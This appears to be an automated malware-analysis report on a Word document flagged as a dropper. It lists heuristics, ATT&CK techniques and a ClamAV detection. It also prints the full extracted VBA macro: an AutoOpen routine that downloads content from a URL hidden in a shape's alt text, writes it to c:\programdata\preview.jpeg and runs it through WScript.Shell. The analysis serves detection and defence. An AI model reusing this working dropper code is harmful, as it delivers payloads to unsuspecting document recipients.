MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1053.005 Scheduled Task/Job
The sample contains a VBA macro that executes an AutoOpen subroutine. This subroutine uses WScript.Shell to create a file named 'c:\programdata\preview.jpeg' and writes downloaded content to it. The macro also attempts to execute this file using Shell(). This indicates a dropper functionality, where the document is used to download and stage a secondary payload.
Heuristics 8
-
ClamAV: Doc.Dropper.Aafg-9757067-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Aafg-9757067-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Function b0c36c4b(d214b5ae) Set dca8c6c6 = CreateObject("wscript.shell") Call dca8c6c6.exec(d214b5ae) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim fd2f419c As Object Set fd2f419c = CreateObject("Scripting.FileSystemObject") Dim cee4e816 As Object -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "a4ca2daf" Sub AutoOpen() Dim f4f016f6 As New cc633fa3 -
External relationship high OOXML_EXTERNAL_RELExternal target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
- http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
- http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
- http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1724 bytes |
SHA-256: 18b62e0da15b2391b1b38fe219193caff49fd22500f32fa63438d6cd50a2b3e7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "a4ca2daf"
Sub AutoOpen()
Dim f4f016f6 As New cc633fa3
Dim efa9d6df As String
efa9d6df = ActiveDocument.Shapes(1).AlternativeText
eccf5404 = f4f016f6.aba8fcd3(efa9d6df)
ea7bafb9 e23668f2(eccf5404)
f4f016f6.b0c36c4b e362548e
End Sub
Attribute VB_Name = "d953793c"
Sub ea7bafb9(cc6494a4)
Dim fd2f419c As Object
Set fd2f419c = CreateObject("Scripting.FileSystemObject")
Dim cee4e816 As Object
Set cee4e816 = fd2f419c.CreateTextFile(d2db472e)
cee4e816.WriteLine cc6494a4
cee4e816.Close
End Sub
Function d2db472e()
d2db472e = "c:\programdata\preview.jpeg"
End Function
Sub d0bd4417()
End Sub
Function e23668f2(cc6494a4)
e23668f2 = StrConv(cc6494a4, 64)
End Function
Function e362548e()
e362548e = ActiveDocument.Shapes(1).Title + " " + d2db472e
End Function
Attribute VB_Name = "cc633fa3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aba8fcd3(ba218570)
Dim f40fee6b As Object
Set f40fee6b = New MSXML2.XMLHTTP60
f40fee6b.Open "GET", ba218570, False
f40fee6b.Send
'
With f40fee6b
aba8fcd3 = .responsebody
End With
End Function
Function b0c36c4b(d214b5ae)
Set dca8c6c6 = CreateObject("wscript.shell")
Call dca8c6c6.exec(d214b5ae)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 18944 bytes |
SHA-256: 65b599eab824a2ddfa948ca4e705ad3cedb9ad760cff6db0177bffa03b05f1eb |
|||
|
Detection
ClamAV:
Doc.Dropper.Aafg-9757067-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.